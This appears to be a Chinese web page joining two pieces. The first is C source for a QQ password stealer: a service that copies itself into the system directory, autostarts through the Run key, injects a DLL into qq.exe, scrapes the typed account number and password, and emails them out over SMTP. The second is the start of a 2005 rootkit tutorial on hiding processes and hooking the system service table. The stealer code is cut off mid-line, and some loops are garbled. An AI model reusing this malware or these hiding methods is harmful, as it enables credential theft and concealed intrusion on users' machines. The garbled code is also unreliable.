MyServiceStatus.dwServiceType
        = SERVICE_WIN32;
MyServiceStatus.dwCurrentState       =
        SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted   =
        SERVICE_ACCEPT_STOP;
MyServiceStatus.dwWin32ExitCode      = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint
        = 0;
MyServiceStatus.dwWaitHint
        = 0;

if (!(MyServiceStatusHandle =
        RegisterServiceCtrlHandler(SERVICENAME,
(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
return;
}

// Initialization code goes here. Handle error condition
DWORD Threadid;

if (!CreateThread(NULL,
        0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
{
MyServiceStatus.dwCurrentState       =
        SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint
        = 0;
MyServiceStatus.dwWaitHint
        = 0;
MyServiceStatus.dwWin32ExitCode      =
        GetLastError();
MyServiceStatus.dwServiceSpecificExitCode =
        GetLastError();

SetServiceStatus(MyServiceStatusHandle,
        &MyServiceStatus);
return;
}

// Initialization
        complete - report running status.
MyServiceStatus.dwCurrentState       =
        SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint
        = 0;
MyServiceStatus.dwWaitHint
        = 0;

if (!SetServiceStatus (MyServiceStatusHandle,
        &MyServiceStatus))
{
return;
}

while(WillStop == 0)
{
Sleep(200);
}

MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState  = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint    = 0;
MyServiceStatus.dwWaitHint      = 0;
MyServiceStatus.dwWin32ExitCode      =
        GetLastError();
MyServiceStatus.dwServiceSpecificExitCode =
        GetLastError();

SetServiceStatus
        (MyServiceStatusHandle,  &MyServiceStatus);
return;
}

void MyServiceCtrlHandler (DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do
        whatever it takes to pause here.
MyServiceStatus.dwCurrentState =
        SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
// Do whatever it takes to
        stop here.
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState  = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint    = 0;
MyServiceStatus.dwWaitHint      = 0;

SetServiceStatus (MyServiceStatusHandle,
        &MyServiceStatus);

WillStop = 1;
return;

case SERVICE_CONTROL_INTERROGATE:
// Fall through to
        send current status.
break;

}

// Send
        current status.
if (!SetServiceStatus (MyServiceStatusHandle,
        &MyServiceStatus))
{
WillStop = 1;
return;
}

return;
}

//插入到系统进程的dll的代码
/*---------------------------------------------------------------------
//NT_Plus_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.9
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------

//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch
        (fdwReason)
{
case DLL_PROCESS_ATTACH:

CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)InjectQQ,
0,
0,
NULL);

break;

}

return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{
//要插入的dll的全名
const char
        *GQP_Dll_Name = "\\nt_gqp_dll.dll";
char
        achDllPath[MAX_PATH + 1];
ZeroMemory(achDllPath,
        sizeof(achDllPath));

if (!GetSystemDirectory(achDllPath,
        sizeof(achDllPath) - 1))
{
return 1;
}

lstrcat(achDllPath, GQP_Dll_Name);
//查找QQ进程
int i,
        j;
DWORD OldPid[32];
DWORD NewPid[32];

ZeroMemory(OldPid, 32);

while(1)
{
ZeroMemory(NewPid, 32);
ProcessToPID("qq.exe", NewPid);

for(i = 0; (i {
for(j = 0; (j {
if (NewPid[i] ==
        OldPid[j])
{
break;
}
}

if (NewPid[i] ==
        OldPid[j])
{
continue;
}

InjectDll(achDllPath, NewPid[i]);
}

ZeroMemory(OldPid, 32);
CopyMemory(OldPid, NewPid,
        32);
Sleep(500);
}

return 0;
}

//插入到QQ进程的dll的代码
/*---------------------------------------------------------------------
//NT_GQP_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------

//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst, DWORD
        fdwReason, LPVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:

CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)GetQQPass,
0,
0,
NULL);

break;

}

return TRUE;
}
//---------------------------------------------------------------------

//下面的都是上面用到的函数，声明在头文件里。
/*---------------------------------------------------------------------
//GetQQPass.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------
DWORD WINAPI SendPass(char *pchFmtResult);
//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
//用spy++得到的QQ的数据
//QQ登录窗口的类名
const char *pchWinClass = "#32770";
//QQ登录窗口的号码窗口样式
const long lNumWindowStyle1 = 0x50002380;
//QQ登录窗口的密码窗口样式
const long lPassWindowStyle1 = 0x500100a0;
//QQ注册向导窗口的号码窗口样式
const long lNumWindowStyle2 = 0x50012080;
//QQ注册向导窗口的密码窗口样式
const long lPassWindowStyle2 = 0x500100a0;

HWND hLoginWindow, hNumWindow, hPassWindow;
char
        achNum[10], achPass[17], achFmtResult[40];
DWORD ThreadID;

while(1)
{
Sleep(200);

//找到QQ登录窗口
if ((hLoginWindow = FindWindow(pchWinClass, NULL)) != NULL)
{
//获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
hNumWindow =
        GetStyleWindow(hLoginWindow, lNumWindowStyle1);
hPassWindow =
        GetStyleWindow(hLoginWindow, lPassWindowStyle1);
//如果句柄都有效
if
        ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult,
        sizeof(achFmtResult));

//当句柄仍然有效时，说明用户没有点击进入下一步窗口的
//按钮，则可能还没有输完号码和密码，所以要一直得到这
//两个窗口的内容，直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
&&
        GetStyleWindow(hPassWindow, lPassWindowStyle1))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass,
        sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT,
        sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow,
        WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

if
        (lstrlen(achPass))
{
ZeroMemory(achFmtResult,
        sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum,
        achPass);
}

Sleep(20);
}

//用户可能使用QQ注册向导登录，所以号码或者密码可能
//为空，这样就不记录
if
        (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);

Sleep(2000);
}
}

//获取QQ注册向导对话框里面的号码窗口和密码窗口的句柄
hNumWindow =
        GetStyleWindow(hLoginWindow, lNumWindowStyle2);
hPassWindow =
        GetStyleWindow(hLoginWindow, lPassWindowStyle2);

//如果句柄都有效
if ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));

//当句柄仍然有效时，说明用户没有点击进入下一步窗口的
//按钮，则可能还没有输完号码和密码，所以要一直得到这
//两个窗口的内容，直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle2)
&&
        GetStyleWindow(hPassWindow, lPassWindowStyle2))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass,
        sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT,
        sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow,
        WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

if
        (lstrlen(achPass))
{
ZeroMemory(achFmtResult,
        sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum,
        achPass);
}

Sleep(20);
}

if
        (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);

Sleep(2000);
}
}
}
}

return 0;
}

//---------------------------------------------------------------------
//发送QQ密码的线程函数
DWORD WINAPI SendPass(char *pchFmtResult)
{
SMTPINFO smtpinfo = {"smtp服务器名", "smtp端口", "用户名", "密码",
"收信人",
        "发信人", "", ""};

lstrcpy(smtpinfo.Subject, pchFmtResult);

return SendMail(&smtpinfo);

}

/*---------------------------------------------------------------------
//GetStyleWindow.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口，
返回和lstyle样式相同的窗口句柄，如果没有找到，返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
//如果这个窗口符合查找条件，返回此句柄
if (GetWindowLong(hFatherWindow, GWL_STYLE)
        == lstyle)
{
return hFatherWindow;
}

HWND
        hNextWindow, hDestWindow;

//得到子窗口句柄
if ((hNextWindow =
        GetWindow(hFatherWindow, GW_CHILD))!= NULL)
{
//递归查找子窗口
if
        ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
{
return hDestWindow;
}
}

//递归查找兄弟窗口
if
        ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
{
return GetStyleWindow(hNextWindow, lstyle);
}

//没有匹配的则返回NULL
return NULL;
}

/*---------------------------------------------------------------------
//AddPrivilege.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include
#endif

#include
        "GQPSvr.h"
#include
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken))
{
#ifdef _DEBUG
printf("OpenProcessToken error.\n");
#endif
return 1;
}

if
        (!LookupPrivilegeValue(NULL,Name,&Luid))
{
#ifdef _DEBUG
printf("LookupPrivilegeValue error.\n");
#endif
return 1;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;

if
        (!AdjustTokenPrivileges(hToken,
0,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL))
{
#ifdef
        _DEBUG
printf("AdjustTokenPrivileges error.\n");
#endif
return 1;
}

return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//CopySelfToSys.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------
//复制自身到系统目录
int CopySelfToSys(char *pAim)
{
//pAim:[in,out],初始为存放目标文件名缓冲区的指针，
//函数向缓冲区返回完整路径的目标文件名
char
        DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];

ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);

if
        (!GetSystemDirectory(DestName, MAX_PATH))
{
//printf("GetSystemDirectory() error = %d\nInstall
        failure!\n",GetLastError());
return 1;
}

lstrcat(DestName,"\\");
lstrcat(DestName,pAim);
lstrcpy(pAim, DestName);

if (!GetModuleFileName(NULL,
        NowName, MAX_PATH))
{
//printf("GetModuleFileName() error =
        %d\nInstall failure!\n",GetLastError());
return 1;
}

if (!CopyFile(NowName, DestName, 0))
{
//printf("CopyFile() error = %d\nInstall
        failure!\n",GetLastError());
return 1;
}

return 0;
}

/*---------------------------------------------------------------------
//GetOsVer.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------

//判断系统版本
int GetOsVer(void)
{
OSVERSIONINFO
        osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&osvi);

//95,98 or Me
if
        (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
return 1;
}

//NT,2000,xp or 2003
if (osvi.dwPlatformId ==
        VER_PLATFORM_WIN32_NT)
{
return 2;
}

//Other
return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//InjectDll.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include
#endif

#include
        "GQPSvr.h"
#include
//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll(const char
        *FullName, const DWORD Pid)
{
HANDLE hRemoteProcess;

//如果是要打开系统进程，一定要先申请debug权限
AddPrivilege(SE_DEBUG_NAME);

if ((hRemoteProcess =
        OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION
        | //允许远程VM操作
PROCESS_VM_WRITE |  //允许远程VM写
PROCESS_VM_READ,    //允许远程VM读
0,
Pid)) ==
        NULL)
{
#ifdef _DEBUG
printf("OpenProcess() error.\n");
#endif
return 1;
}

char *pDllName;

if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
NULL,
lstrlen(FullName) + 1,
MEM_COMMIT,
PAGE_READWRITE)) == NULL)
{
#ifdef _DEBUG
printf("VirtualAllocEx() error.\n");
#endif
return 1;
}

//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
if
        (WriteProcessMemory(hRemoteProcess,
pDllName,
(void *)FullName,
lstrlen(FullName),
NULL) == 0)
{
#ifdef _DEBUG
printf("WriteProcessMemory() error.\n");
#endif
return 1;
}

//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr;

if ((pfnStartAddr
        = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
{
#ifdef _DEBUG
printf("GetProcAddress() error.\n");
#endif
return 1;
}

HANDLE hRemoteThread;
DWORD ThreadId;

if ((hRemoteThread =
        CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
NULL,
0,
pfnStartAddr,  //LoadLibraryA的入口地址
pDllName,
0,
&ThreadId)) == NULL)
{
#ifdef _DEBUG
printf("CreateRemoteThread() error.\n");
#endif
return 1;
}

return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//ProcessToPID.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.24
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include
#endif

#include
        "GQPSvr.h"
#include
#include
/*---------------------------------------------------------------------
功能：得到进程名对应的Pid
要求：win2000以上系统，使用Psapi.dll
返回值：未找到则返回0，否则返回第一个符合条件的pid
说明：因为可能有相同进程名的多个实例存在，所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL，如果aPid为NULL，函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/

DWORD ProcessToPID(const char *ProcessName, DWORD
        aPid[1024])
{

typedef BOOL (CALLBACK*
        EnumProcessesType)(DWORD *,DWORD,DWORD *);
typedef BOOL (CALLBACK*
        EnumProcessModulesType)(HANDLE,HMODULE *,DWORD,LPDWORD);
typedef
        DWORD (CALLBACK* GetModuleBaseNameType)(HANDLE, HMODULE, LPTSTR, DWORD);

EnumProcessesType EnumProcesses;
EnumProcessModulesType EnumProcessModules;
GetModuleBaseNameType
        GetModuleBaseName;

HMODULE hmPsapi =
        GetModuleHandle("psapi.dll");

if (hmPsapi == NULL)
{
if ((hmPsapi = LoadLibrary("psapi.dll")) == NULL)
{
#ifdef
        _DEBUG
printf("LoadLibrary() error : %d\n", GetLastError());
#endif
return 0;
}

}

EnumProcesses = (EnumProcessesType)GetProcAddress(hmPsapi,
        "EnumProcesses");
EnumProcessModules =
        (EnumProcessModulesType)GetProcAddress(hmPsapi, "EnumProcessModules");
GetModuleBaseName = (GetModuleBaseNameType)GetProcAddress(hmPsapi,
        "GetModuleBaseNameA");

#ifdef _DEBUG
if(!EnumProcesses)
printf("EnumProcesses == NULL\n");
if(!EnumProcessModules)
printf("EnumProcessModules == NULL\n");
if(!GetModuleBaseName)
printf("GetModuleBaseName == NULL\n");
#endif

if (!(EnumProcesses &&
EnumProcessModules &&
GetModuleBaseName))
{
FreeLibrary(hmPsapi);

#ifdef _DEBUG
printf("GetProcAddress() error : %d\n", GetLastError());
#endif
return 0;
}

DWORD aProcesses[1024], cbNeeded,
        cProcesses;
unsigned int i , j;
HANDLE hProcess;
HMODULE
        hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";

// 计算目前有多少进程, aProcesses[]用来存放有效的进程PID
if
        (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
#ifdef _DEBUG
printf("EnumProcesses() error : %d\n",
        GetLastError());
#endif

FreeLibrary(hmPsapi);
return 0;
}

cProcesses = cbNeeded / sizeof(DWORD);

// 按有效的PID遍历所有的进程
for ( i = 0, j = 0; i {
//
        打开特定PID的进程
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE,
aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess,
        &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName(hProcess, hMod, szProcessName,
        sizeof(szProcessName));

//将取得的进程名与输入的进程名比较，如相同则返回进程PID
if(!stricmp(szProcessName, ProcessName))
{
CloseHandle(
        hProcess );

//如果接收缓冲区有效，就依次填入pid，否则立即返回
if (aPid !=
        NULL)
{
aPid[j++] = aProcesses[i];
}
else
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d\n",
        aProcesses[i]);
#endif
return aProcesses[i];
}

}
}
}
}

CloseHandle( hProcess );

if (aPid != NULL)
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d\n", aPid[0]);
#endif
return aPid[0];
}

#ifdef _DEBUG
printf("Not
        find %s\n", ProcessName);
#endif

FreeLibrary(hmPsapi);
return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//RegStart.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include
//---------------------------------------------------------------------
//加入注册表自启动项
void RegStart(const char *KeyName, const char
        *KeyValue)
{
HKEY phkResult;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&phkResult,
NULL);

RegSetValueEx(phkResult,
KeyName,
0,
REG_SZ,
(unsigned char *)KeyValue,
lstrlen(KeyValue) + 1);

RegCloseKey(phkResult);

}

//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//SendMail.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date:
        2003.10.6
//Last modify date: 2003.11.2
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include
#endif

#include
        "GQPSvr.h"
#include
#include
//---------------------------------------------------------------------
void Base64(unsigned char chasc[3],unsigned char chuue[4]);
int
        Talk(SOCKET sockid, const char *OkCode, char *pSend);
//---------------------------------------------------------------------
int SendMail(const SMTPINFO *psmtpinfo)
{
//准备网络连接
WSADATA wsadata;

if
        (WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
{
#ifdef _DEBUG
printf("WSAStartup() error : %d\n", GetLastError());
#endif
return 1;
}

//创建套接字
SOCKET sockid;

if ((sockid = socket(AF_INET,SOCK_STREAM,0)) ==
        INVALID_SOCKET)
{
#ifdef _DEBUG
printf("socket() error :
        %d\n", GetLastError());
#endif
WSACleanup();
return 1;
}

//得到smtp服务器ip
struct hostent *phostent =
        gethostbyname(psmtpinfo->SmtpSrvName);
struct sockaddr_in addr;

CopyMemory(&addr.sin_addr.S_un.S_addr,
phostent->h_addr_list[0],
sizeof(addr.sin_addr.S_un.S_addr));

#ifdef _DEBUG
struct in_addr srvaddr;
CopyMemory(&srvaddr, &addr.sin_addr.S_un.S_addr,
        sizeof(struct in_addr));
printf("Smtp server name is %s\n",
        psmtpinfo->SmtpSrvName);
printf("Smtp server ip is %s\n",
        inet_ntoa(srvaddr));
#endif

addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(psmtpinfo->Port));
ZeroMemory(&addr.sin_zero, 8);

//连接服务器
if
        (connect(sockid, (struct sockaddr *)&addr, sizeof(struct
        sockaddr_in)) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("connect() error : %d\n", GetLastError());
#endif
goto STOP;
}

if (Talk(sockid, "220", "EHLO sjdf"))
{
goto STOP;
}

if (Talk(sockid, "250", "AUTH
        LOGIN"))
{
goto STOP;
}

//将用户名和密码转换为base64编码
const int buflen = 256;
char buf[buflen];
int
        i,userlen,passlen;

ZeroMemory(buf, buflen);

userlen = lstrlen(psmtpinfo->UserName);
passlen =
        lstrlen(psmtpinfo->Password);

for(i = 0; i {
Base64(psmtpinfo->UserName + i * 3, buf + i * 4);
}

if (Talk(sockid, "334", buf))
{
goto STOP;
}

ZeroMemory(buf, buflen);

for(i = 0; i {
Base64(psmtpinfo->Password + i * 3, buf + i * 4);
}

if (Talk(sockid, "334", buf))
{
goto STOP;
}

ZeroMemory(buf, buflen);
wsprintf(buf, "MAIL FROM:


Rootkit For Windows
***********************************************************
*转载请保留文章完整，谢谢！
*Date:2005/9/11 祝童童生日快乐。也纪念世贸大厦
*作者:sunwear [E.S.T]
*ps:很多人问我[E.S.T]是什么……其实就是一个技术小组 ：）
*E-mail:shellcoder[0x40]163[0x2E]com , sunwear[0x40]eviloctal[0x2E]com
*QQ:625185
*http://blog.csdn.net/sunwear
***********************************************************
List：
一,前言
二,简介
三,rootkit的一些以公开的隐藏技术
四,一些隐藏技术的应对方法
五,about ring0 rootkit
六,rootkit的检测
七,参考资料,推荐 ：）
*************************
一．先说几句与技术无关的话。
现在很多人对rootkit认识不够，可以说空白。而此愚文的目的就是让菜鸟认识rootkit→了解rootkit。也让一些想研究它的人把这篇文章当作一个参考或是入门级的指导。文章中介绍的rootkit的隐藏方法只是一部分。还有很多技术没有提到，另外还有一些未公开的技术。有些地方我未引用代码，因为不想占用过多的篇幅。以免有玩弄代码的嫌疑,不过写完以后还是觉得代码太多，请个位见谅。一-三的内容适合菜鸟看，也许第四部分之后对很多人来说都有些意义吧。如果高手不幸看到了，请准备好，不要吐到屏幕上或身上。
以往的文章写的比较乱，而且格式不公正，这样的形式写文章也是第一次。以前文章中引用代码和文字也没有详细说明，再此也对作者表示谦意。感谢XX提的这个建议。
今天是9月11号，庆祝一下童童的生日。顺便为911事件中的遇难者祈祷。同时也感谢MGF病毒的作者指点。
*************************
二．简单的说说rootkit.
Rootkit的历史已经很悠久了。存在于windows,unix,linux等操作系统中，不只局限在windows,此文我只以windows平台为例来说rootkit。Root在英语中是根,扎根的意思,kit是包的意思。rootkit我们可以把它理解成一个利用很多技术来潜伏在你系统中的一个后门，并且包含了一个功能比较多的程序包，例如有、清除日志，添加用户，b7cmdshell，添加删除启动服务等功能。当然它的设计者也要用一些技术来隐藏自己，确保不被发现。隐藏包括隐藏进程，隐藏文件，端口，或句柄，注册表的项，键值等等。总之，写rootkit的人是狡尽乳汁利用很多办法不被发现。
现在人们最熟悉的windows rootkit 就是hacker defender和ntrootkit了,还有使用了baiyuanfan在XCON提出的ring3 rootkit新思路的byshell,呵呵。而linux下就是knark了。
*************************
三．rootkit的一些以公开的隐藏技术以及检测技术。
1. 删除进程双项链上的进程对象。
ps:用的似乎很多，连现在的一些盗号的程序也利用上了
现在所有人查看进程一般都是通过任务管理器(taskmgr.exe)来查看。了解一些编程知识的人都知道，任务管理器枚举进程信息是靠的NtQuerySystemInformation 也就是ZwQuerySystemInformation 函数。众所周知，这个Native Api （本机API）枚举进程是要通过进程活动链表的。我们就来看看这个结构。
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBDTES, *POBJECT_ ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
NTSTATDS Status;
ULONG Information;
}IO_STATUS_BLOCK , * PIO_STATUS_BLOCK ;
typedef struct _LIST_ENTRY
{
Struct _LIST_ENTRY *Flink;
Struct _LIST_ENTRY *Blink;
}LIST_ENTRY, *PLIST_ENTRY;
双向链表的典型例子就是进程和线程链。内部变量PsActiveProcessHead是一个LIST_ENTRY结构，在ntoskrnl.exe的数据段中，指定了系统进程列表的第一个成员。仔细想想，如果我们将进程对象从进程双向链表中移除，那么调用NtQuerySystemInformation来枚举进程的任务管理器taskmgr.exe中就不会看到我们的进程了。那么就有人会担心了。如果进程从链表中删除，那还会被运行么？答案是，会。因为windows的ds,也就是线程分派器,也叫任务调度分配器(dispatcher scheduler)使用的是另一个数据结构,也就是说，进线程是否被调度处理与进程双向活动链表无关，不会被CPU忽略，不必担心。2003年pjf在安全焦点上提出的就是这个方法且给出了这个方法的实现代码。文章结尾处的参考资料中我会给出这个文章的URL。
2.修改系统调用表(sst)
rootkit可以通过在系统调用表中添加添加自己的服务然后运行想要执行的任务。He4HookInv就是这样。He4HookInv也是一个比较有名的windows rootkit。下面我们来看看He4HookInv具体的实现过程。在以前人们不知道它是如何实现的这些，一些介绍rootkit的文章也是提到一点，不过只知道是修改的SST，细节也没有过多描述。直到phrack杂志公布了He4HookInv的一些细节。
He4Hook在不同版本所使用的方法是有所不同的。公布的方法中有两种。这里只说说第一种方法。如果想了解第二种方法和原版就看文章结尾的参考资料吧（phrack的连接）。
ZwCreateFile, ZwOpenFile,IoCreateFile,ZwQueryDirectoryFile, ZwClose 这些函数在Ntdll.dll中是这样实现的。
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh; Syscall interface
当然Ntdll.dll是一个main gate，真正的函数调用是在Ntoskrnl中完成的。关于本机API的，可以看参考资料中我写的另一篇文章《浅析本机API》。
EAX中储存着系统调用号。int 2Eh代表转到中断描述符表IDT位置0x2E处的中断处理程序。中断处理程序把EAX里的值作为查找表中的索引，去找到最终的目标函数。这个表就是系统服务表SST。ntoskrnl通过KeServiceDescriptorTable符号,导出了主要SDT的一个指针。我们可以通过KeServiceDescriptorTable来访问SDT。现在来看看KeServiceDescriptorTable的结构。
typedef struct SystemServiceDescriptorTable
{
SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
KeServiceDescriptorTable 指向的DescriptorTable 只能从内核模式访问。在用户模式下，有一个未输出的KeServiceDescriptorTableShadow 。底层服务有 ：
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
内核模式图形化用户界面服务（GUI）：
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
在WinNt4(SP3-6)和Win2k build 2195之前的所有版本中,DescriptorTable的其他的元素在写入时是空闲的,表中每个元素为SSID结构，包含有以下数据：
lpSystemServiceTableAddressTable 指针表,当相关系统调用启用时,它指向被调用的函数内存地址数组。
dwFirstServiceIndex 指向第一个函数的开始地址
dwSystemServiceTableNumEntries 表中服务数目
lpSystemServiceTableParameterTable 表示出入栈的字节数目
为了取得系统调用，He4HookInv 用一个指针替代了KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn中存储的地址，而指向其所属表。
你可以通过在系统调用表中添加自己的服务而界入He4HookInv。He4HookInv将更新以下两表：
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
